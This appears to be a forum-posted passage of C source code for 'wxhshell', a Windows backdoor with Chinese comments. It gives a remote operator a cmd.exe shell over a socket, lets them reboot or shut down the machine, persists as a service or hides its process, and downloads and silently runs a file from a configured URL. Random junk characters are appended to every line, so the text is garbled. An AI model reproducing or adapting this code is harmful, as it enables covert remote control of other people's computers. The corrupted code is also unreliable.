EhOy<f[4W  
    switch(cmd[0]) { RN%*3{-  
  :sY pZX1  
  // 帮助 +W6QtB6  
  case '?': { ][y~(&=T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %;r0,lN|II  
    break; $C;)Tlh  
  } 0;kp`hB  
  // 安装 ~ j`; $o  
  case 'i': { !A\Qwg>  
    if(Install()) 2V 1|b`b#4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DhAQ|SdCf  
    else f2JeXsOI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !Cpy )D(  
    break; X7*i -v@  
    } Oz[]]`C1  
  // 卸载 g(i_di  
  case 'r': { ]d}U68$T+  
    if(Uninstall()) C#r1zr6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sl8A=Ez  
    else O{^ET:K@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E8Jy!8/X9T  
    break; FSs<A@  
    } FC:+[.fi  
  // 显示 wxhshell 所在路径 DaV:Slp9  
  case 'p': { d%y)/5  
    char svExeFile[MAX_PATH]; ya<nD'%9  
    strcpy(svExeFile,"\n\r"); q;^Q1[Ari  
      strcat(svExeFile,ExeFile); %q~YJ*\  
        send(wsh,svExeFile,strlen(svExeFile),0); H+oQ L(i|_  
    break; vbo:,]T<A  
    } {!lC$SlJ  
  // 重启 sUc_)  
  case 'b': { YTc X4cC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A{HP*x~t  
    if(Boot(REBOOT)) }, < dGmkx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  =V- ^  
    else { s+@+<QE  
    closesocket(wsh); Md4hd#z  
    ExitThread(0); |4J ;s7us  
    } oTtJ]`T  
    break; \; 9log<Z  
    } zz)[4G  
  // 关机 59Lv/Mfy  
  case 'd': { >9Yo:b:f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m#\I&(l+  
    if(Boot(SHUTDOWN)) " vW4"R6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z%Kkh2-uh  
    else { <sALA~p|0  
    closesocket(wsh); r%craf  
    ExitThread(0); H2ZRUFu  
    } 1BA/$8G  
    break; <|!?V"`3  
    } N)kZ2|oD  
  // 获取shell m| /?((s  
  case 's': { F9Hxqa#1T  
    CmdShell(wsh); \jkMnS6FvL  
    closesocket(wsh); :7WeR0*%  
    ExitThread(0); #~_ZG% u  
    break; u8w4e!rKo6  
  } pR3@loFQ`o  
  // 退出 U<YP@?w  
  case 'x': { s=Cu-.~L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F}f/cG<X  
    CloseIt(wsh); ?~%Go  
    break; .T>^bLuFy  
    } b1*5#2rs.  
  // 离开 U,tl)(!@Q-  
  case 'q': { K P1;u#v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ezq<)gJc  
    closesocket(wsh); >FR;Ux~a  
    WSACleanup(); u l-A'  
    exit(1); ?;bsg 9  
    break; ?2q;`Nb  
        } 0b)q,]l]  
  } R0WI s:k2  
  } I+!?~]AUuq  
R v/=bY  
  // 提示信息 pzQWr*5a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *_ U=KpZF  
} (lz Z=T  
  } Ft[)m#Dj`  
mj7Em&  
  return; * NB:"1x  
} ;X z fd  
dsUt[z1w5  
// shell模块句柄 vNA~EV02  
int CmdShell(SOCKET sock) =o+js;3  
{ U WU PY  
STARTUPINFO si; o6v'`p '  
ZeroMemory(&si,sizeof(si)); O$K?2-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @hG]Gs[,o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0ECQ>Ux:  
PROCESS_INFORMATION ProcessInfo; sN8)p%'Lg  
char cmdline[]="cmd"; /SvB w>gQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VGVb3@  
  return 0; 8rNRQOXOa  
} skeXsls  
@((Y[<  
// 自身启动模式 Wu1">|  
int StartFromService(void) ?j:g.a+U  
{ m35$4  
typedef struct u]uUm1Er  
{ :W6R]y  
  DWORD ExitStatus; 's>./Pf  
  DWORD PebBaseAddress; s~)I1G  
  DWORD AffinityMask; jg3 X6/'  
  DWORD BasePriority; .*,W%r?1n6  
  ULONG UniqueProcessId; i uGly~  
  ULONG InheritedFromUniqueProcessId; "/~KB~bB  
}   PROCESS_BASIC_INFORMATION; 7A6:*  
Z< 4Du  
PROCNTQSIP NtQueryInformationProcess; ^*@D%U  
: 6|nXL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FDQP|,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Tz<@k  
-NL=^O$G  
  HANDLE             hProcess; Ce.*yO<-  
  PROCESS_BASIC_INFORMATION pbi; ~ ~U,  
Pg%k>~i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p8bAz  
  if(NULL == hInst ) return 0; 6EY W:o  
e'MLLC [  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T{B\1|2w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TMAart; <  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $?M$^- (e  
k>W}9^ cK  
  if (!NtQueryInformationProcess) return 0; qQ^ bUpk0  
Nxr%xTD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z.6I6IfL\L  
  if(!hProcess) return 0; 0m>?-/uDx  
*m.4)2u=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v_L?n7c  
&$<7]a\dM  
  CloseHandle(hProcess); b[;Zl<  
J=7<dEm&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C[2LP$6*/  
if(hProcess==NULL) return 0; 1_RN*M +#  
Fb^f`UI  
HMODULE hMod; ~X2 cTG!,  
char procName[255];  97-=Vb  
unsigned long cbNeeded; bG&vCH;}%  
em, j>qp  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M7. fz"M  
dePI&z:  
  CloseHandle(hProcess); S<=|i  
@(I)]Ca%O  
if(strstr(procName,"services")) return 1; // 以服务启动 #1VejeTi  
aX,ux9#  
  return 0; // 注册表启动 =Xu(Js-  
} 5nh:S0M6V  
!^_G~`r$2J  
// 主模块 >X0c:p Pu  
int StartWxhshell(LPSTR lpCmdLine) yr, Oq~e  
{ \L4+Dv<z  
  SOCKET wsl; a/s6|ri`0  
BOOL val=TRUE; r}~|,O3bc'  
  int port=0; yE>f.|(  
  struct sockaddr_in door; Qu6Q)dZ<  
i48Tb7Rx~n  
  if(wscfg.ws_autoins) Install(); kf>L  
n&;-rj^qq  
port=atoi(lpCmdLine); F%F:Gr/  
zbyJ5~  
if(port<=0) port=wscfg.ws_port; 0$e]?]X6  
!Q" 3B6 86  
  WSADATA data; m~U2 L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]xf|xs  
?KF.v1w7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6z>Zm1h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #M5[TN!  
  door.sin_family = AF_INET; b{i7FRR>o4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F2k)hG*|{  
  door.sin_port = htons(port); N,Ys}qP  
pGhA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f[$9k}.  
closesocket(wsl); BR[f{)a5  
return 1; p@x1B &Z  
} UB&)U\hn  
q9mYhT/Im  
  if(listen(wsl,2) == INVALID_SOCKET) { }iF"&b0n"  
closesocket(wsl); EPMdR66  
return 1; "Ca?liy  
} is,r:  
  Wxhshell(wsl); @vcvte  
  WSACleanup(); 7<?~A6  
)s';m$  
return 0; I%q&4L7pj  
E%E3h1Ua  
} Ikbz3]F^V  
=5yI>A0  
// 以NT服务方式启动 q>X%MN y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3%$nRP X  
{ !ENb \'>J>  
DWORD   status = 0; I!;&#LT+b  
  DWORD   specificError = 0xfffffff; _Xn[G>1  
Uhz<B #tj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; WV'FW)%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a ykNH>#Po  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s)~6 0c  
  serviceStatus.dwWin32ExitCode     = 0; k!lz_Y  
  serviceStatus.dwServiceSpecificExitCode = 0; !Xbr7:UPN1  
  serviceStatus.dwCheckPoint       = 0; =Qcz:ng  
  serviceStatus.dwWaitHint       = 0; 6k=ink-/  
6jRUkI-!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TCd1JF0  
  if (hServiceStatusHandle==0) return; e Ert_@}  
. d;XLS~  
status = GetLastError(); u!X$M?D4  
  if (status!=NO_ERROR) |W/_S^C  
{ HZ1e~IIw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 54Baz  
    serviceStatus.dwCheckPoint       = 0; }cL9`a9j  
    serviceStatus.dwWaitHint       = 0; [V5ebj:6w  
    serviceStatus.dwWin32ExitCode     = status; .cQ<F4)!tu  
    serviceStatus.dwServiceSpecificExitCode = specificError; l(T CF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); EEaf/D/jt  
    return; 0.~Pzg  
  } Q`Q%;%t  
^fLePsmd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CE$c/d[N.  
  serviceStatus.dwCheckPoint       = 0; v [_C^;  
  serviceStatus.dwWaitHint       = 0; OgiElA.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pN)9 GO5  
} @}K'Ic  
_U.D*f<3)  
// 处理NT服务事件,比如:启动、停止 l)glT]G3+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vMiZ:*iaj@  
{ `5:Wv b>|  
switch(fdwControl) ^1vh5D  
{ 3%] %c6  
case SERVICE_CONTROL_STOP: d7y`AS@q6  
  serviceStatus.dwWin32ExitCode = 0; gL(ny/Ob9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]w/`02w"$  
  serviceStatus.dwCheckPoint   = 0; 4+od N.  
  serviceStatus.dwWaitHint     = 0; b8QA>]6A  
  { P"J(O<(1-:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `/:ZB6  
  } &+\J "V8  
  return; r=<Oy1m/  
case SERVICE_CONTROL_PAUSE: J~6+zBF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fPf8hz>  
  break; i2SR.{&  
case SERVICE_CONTROL_CONTINUE: ~a:0Q{>a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .v36xXK(  
  break; ty|E[Ez1  
case SERVICE_CONTROL_INTERROGATE: NKD<VMcqw  
  break; 1D03Nbh|5  
}; wRn]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 66*/"dBwm  
} ?GPTJ#=j=]  
6fhH)]0  
// 标准应用程序主函数 \WG6\Zg0A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~6z<tyD^  
{ { as#lHn  
e`%U}_[d  
// 获取操作系统版本 a9C8Q l  
OsIsNt=GetOsVer(); UI}v{05]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !rzbm&@  
sK8=PZ \  
  // 从命令行安装 rmS.$h@7 m  
  if(strpbrk(lpCmdLine,"iI")) Install(); Vp*#,(_G:  
eAh~ `  
  // 下载执行文件 q~68)D(  
if(wscfg.ws_downexe) { 095:"GvO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DT`TA#O  
  WinExec(wscfg.ws_filenam,SW_HIDE); JsohhkJNGi  
} 0b%"=J2/p.  
Q H:k5V~  
if(!OsIsNt) { ~0"(C#l 9  
// 如果时win9x,隐藏进程并且设置为注册表启动 \ s^a4l 2  
HideProc(); T 22tZp  
StartWxhshell(lpCmdLine); ?AC flU_k  
} jnfktDV'  
else dWbSrl  
  if(StartFromService()) | +osEHC  
  // 以服务方式启动 b^[Ab:`}[V  
  StartServiceCtrlDispatcher(DispatchTable); 0Q? XU.v  
else fYrC;&n  
  // 普通方式启动 F?#^wm5TZ  
  StartWxhshell(lpCmdLine); {"T$j V:GB  
EXDZehLD<]  
return 0; :.wR*E  
}
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只看该作者 1 发表于: 2006-10-10
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